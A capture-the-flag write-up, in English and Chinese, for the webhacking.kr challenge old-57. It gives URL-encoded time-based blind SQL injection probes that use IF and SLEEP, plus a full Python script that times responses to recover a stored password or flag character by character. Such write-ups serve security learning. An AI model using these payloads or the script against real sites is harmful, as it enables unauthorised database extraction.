Webhacking.kr old-57

Challenge

Extract the flag stored in the secret field through a timing oracle.

通过 timing oracle 提取 secret 字段中的 flag。

https://webhacking.kr/challenge/web-34/

Analysis

服务端把 se 直接拼入 INSERT 的数值位置，并过滤 select、and、or、not、&、| 和 benchmark。IF、LENGTH、ASCII、SUBSTR 与 SLEEP 仍可使用，因此可以用响应时间区分条件真假。

条件为真时执行 SLEEP(2)，条件为假时执行 SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1 开始。发送请求时必须测量整个 HTTP 请求耗时，并以明显高于正常响应的延迟作为 true oracle，而不是依赖页面正文。

Solution

基础长度探针：

https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 替换为待测试长度。单字符探针：

https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 是 1-based 位置，C 是待测试字符的 ASCII 数值。脚本按页面输入编码请求，使用延迟阈值枚举长度与字符：

import os
import string
import time

import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-34/"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
SLEEP_SECONDS = 2
DELAY_THRESHOLD = 1.5
MAX_LENGTH = 64
CHARACTERS = string.ascii_letters + string.digits + string.punctuation

def make_session():
    session = requests.Session()
    session.headers.update({"User-Agent": "old-57-writeup/1.0"})
    if SESSION_ID:
        session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
    return session
36 collapsed lines

def request_is_true(session, condition):
    expression = (
        f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))"
    )
    started = time.monotonic()
    response = session.get(
        ENDPOINT,
        params={"msg": "a", "se": expression},
        timeout=SLEEP_SECONDS + 10,
    )
    elapsed = time.monotonic() - started
    response.raise_for_status()
    return elapsed >= DELAY_THRESHOLD

def discover_length(session):
    for length in range(1, MAX_LENGTH + 1):
        if request_is_true(session, f"LENGTH(pw)={length}"):
            return length
    raise RuntimeError("password length was not found")

def recover_flag(session, length):
    flag = ""
    for position in range(1, length + 1):
        for character in CHARACTERS:
            code = ord(character)
            condition = f"ASCII(SUBSTR(pw,{position},1))={code}"
            if request_is_true(session, condition):
                flag += character
                print(flag)
                break
        else:
            raise RuntimeError(f"no character matched at position {position}")
    return flag

def main():
    session = make_session()
    length = discover_length(session)
    print(f"length={length}")
    flag = recover_flag(session, length)
    print(f"flag={flag}")

if __name__ == "__main__":
    main()

Timing oracle 对网络抖动敏感；SLEEP_SECONDS 和 DELAY_THRESHOLD 需要根据当前网络基线调整。